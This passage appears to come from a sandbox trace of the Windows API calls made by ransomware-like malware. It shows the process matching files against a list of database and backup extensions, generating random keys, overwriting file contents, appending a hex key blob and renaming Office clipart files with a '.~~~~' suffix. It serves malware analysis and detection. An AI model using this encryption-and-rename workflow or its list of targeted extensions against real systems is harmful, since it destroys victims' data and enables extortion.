	[0119.727] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.727] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.727] CloseHandle (hObject=0x128) returned 1
	[0119.751] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.751] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00241_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00241_.wmf.~~~~")) returned 1
	[0119.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.753] GetLastError () returned 0x0
	[0119.760] lstrlenW (lpString=".sqb") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".sqb") returned 0x0
	[0119.760] lstrlenW (lpString=".ost") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".ost") returned 0x0
	[0119.760] lstrlenW (lpString=".txt") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".txt") returned 0x0
	[0119.760] lstrlenW (lpString=".mdt") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".mdt") returned 0x0
	[0119.760] lstrlenW (lpString=".BDB") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".BDB") returned 0x0
	[0119.760] lstrlenW (lpString=".eql") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".eql") returned 0x0
	[0119.760] lstrlenW (lpString=".DBF") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DBF") returned 0x0
	[0119.760] lstrlenW (lpString=".EQL") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".EQL") returned 0x0
	[0119.760] lstrlenW (lpString=".FDB") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".FDB") returned 0x0
	[0119.760] lstrlenW (lpString=".EDB") returned 4
	[0119.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".EDB") returned 0x0
	[0119.760] lstrlenW (lpString=".DACPAC") returned 7
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DACPAC") returned 0x0
	[0119.761] lstrlenW (lpString=".VHD") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".VHD") returned 0x0
	[0119.761] lstrlenW (lpString=".DBV") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DBV") returned 0x0
	[0119.761] lstrlenW (lpString=".dacpac") returned 7
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dacpac") returned 0x0
	[0119.761] lstrlenW (lpString=".sdf") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".sdf") returned 0x0
	[0119.761] lstrlenW (lpString=".accdb") returned 6
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".accdb") returned 0x0
	[0119.761] lstrlenW (lpString=".DBX") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DBX") returned 0x0
	[0119.761] lstrlenW (lpString=".MDT") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".MDT") returned 0x0
	[0119.761] lstrlenW (lpString=".SQB") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".SQB") returned 0x0
	[0119.761] lstrlenW (lpString=".vhd") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".vhd") returned 0x0
	[0119.761] lstrlenW (lpString=".bac") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".bac") returned 0x0
	[0119.761] lstrlenW (lpString=".mdf") returned 4
	[0119.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".mdf") returned 0x0
	[0119.762] lstrlenW (lpString=".BAK") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".BAK") returned 0x0
	[0119.762] lstrlenW (lpString=".BAC") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".BAC") returned 0x0
	[0119.762] lstrlenW (lpString=".dbs") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dbs") returned 0x0
	[0119.762] lstrlenW (lpString=".vhdx") returned 5
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".vhdx") returned 0x0
	[0119.762] lstrlenW (lpString=".NDF") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".NDF") returned 0x0
	[0119.762] lstrlenW (lpString=".dat") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dat") returned 0x0
	[0119.762] lstrlenW (lpString=".DBS") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DBS") returned 0x0
	[0119.762] lstrlenW (lpString=".CKP") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".CKP") returned 0x0
	[0119.762] lstrlenW (lpString=".edb") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".edb") returned 0x0
	[0119.762] lstrlenW (lpString=".PST") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".PST") returned 0x0
	[0119.762] lstrlenW (lpString=".dbf") returned 4
	[0119.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dbf") returned 0x0
	[0119.763] lstrlenW (lpString=".SQL") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".SQL") returned 0x0
	[0119.763] lstrlenW (lpString=".pst") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".pst") returned 0x0
	[0119.763] lstrlenW (lpString=".dbv") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dbv") returned 0x0
	[0119.763] lstrlenW (lpString=".SDF") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".SDF") returned 0x0
	[0119.763] lstrlenW (lpString=".dtxs") returned 5
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dtxs") returned 0x0
	[0119.763] lstrlenW (lpString=".db3") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".db3") returned 0x0
	[0119.763] lstrlenW (lpString=".OST") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".OST") returned 0x0
	[0119.763] lstrlenW (lpString=".dbx") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dbx") returned 0x0
	[0119.763] lstrlenW (lpString=".DB3") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DB3") returned 0x0
	[0119.763] lstrlenW (lpString=".DAT") returned 4
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DAT") returned 0x0
	[0119.763] lstrlenW (lpString=".VHDX") returned 5
	[0119.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".VHDX") returned 0x0
	[0119.764] lstrlenW (lpString=".ndf") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".ndf") returned 0x0
	[0119.764] lstrlenW (lpString=".DB") returned 3
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DB") returned 0x0
	[0119.764] lstrlenW (lpString=".sql") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".sql") returned 0x0
	[0119.764] lstrlenW (lpString=".MYD") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".MYD") returned 0x0
	[0119.764] lstrlenW (lpString=".DBT") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DBT") returned 0x0
	[0119.764] lstrlenW (lpString=".ACCDB") returned 6
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".ACCDB") returned 0x0
	[0119.764] lstrlenW (lpString=".fdb") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".fdb") returned 0x0
	[0119.764] lstrlenW (lpString=".bak") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".bak") returned 0x0
	[0119.764] lstrlenW (lpString=".myd") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".myd") returned 0x0
	[0119.764] lstrlenW (lpString=".DTXS") returned 5
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".DTXS") returned 0x0
	[0119.764] lstrlenW (lpString=".ckp") returned 4
	[0119.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".ckp") returned 0x0
	[0119.765] lstrlenW (lpString=".dbt") returned 4
	[0119.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".dbt") returned 0x0
	[0119.765] lstrlenW (lpString=".db") returned 3
	[0119.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".db") returned 0x0
	[0119.765] lstrlenW (lpString=".TXT") returned 4
	[0119.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".TXT") returned 0x0
	[0119.765] lstrlenW (lpString=".MDF") returned 4
	[0119.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".MDF") returned 0x0
	[0119.765] lstrlenW (lpString=".bdb") returned 4
	[0119.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".bdb") returned 0x0
	[0119.765] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0119.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0119.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0119.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363058
	[0119.765] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0119.767] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.767] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.767] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23975721667) returned 1
	[0119.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0dd01d0, dwHighDateTime=0x1d60e1e)) 
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9808
	[0119.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9808 | out: hHeap=0x300000) returned 1
	[0119.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4018
	[0119.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.768] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.768] GetLastError () returned 0x0
	[0119.768] GetLastError () returned 0x0
	[0119.768] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.769] GetLastError () returned 0x0
	[0119.769] GetLastError () returned 0x0
	[0119.848] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff62e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.848] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x9d2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x9d2, lpOverlapped=0x0) returned 1
	[0119.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.849] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.849] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.849] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.849] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.850] CloseHandle (hObject=0x140) returned 1
	[0119.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.~~~~")) returned 1
	[0119.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.851] GetLastError () returned 0x0
	[0119.857] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0119.858] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0119.858] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0119.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.858] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23984826195) returned 1
	[0119.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0eb4a10, dwHighDateTime=0x1d60e1e)) 
	[0119.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0119.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0119.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0119.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e98b0
	[0119.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0119.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e98b0 | out: hHeap=0x300000) returned 1
	[0119.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0119.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b43a8
	[0119.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.859] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.859] GetLastError () returned 0x0
	[0119.859] GetLastError () returned 0x0
	[0119.859] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.860] GetLastError () returned 0x0
	[0119.860] GetLastError () returned 0x0
	[0119.866] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb1fe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.866] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4e02, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x4e02, lpOverlapped=0x0) returned 1
	[0119.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0119.868] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.869] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.869] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.869] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.869] CloseHandle (hObject=0x140) returned 1
	[0119.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0119.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.~~~~")) returned 1
	[0119.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0119.872] GetLastError () returned 0x0
	[0119.928] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0119.929] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.929] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0119.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0119.930] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23991970632) returned 1
	[0119.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb0f730f0, dwHighDateTime=0x1d60e1e)) 
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
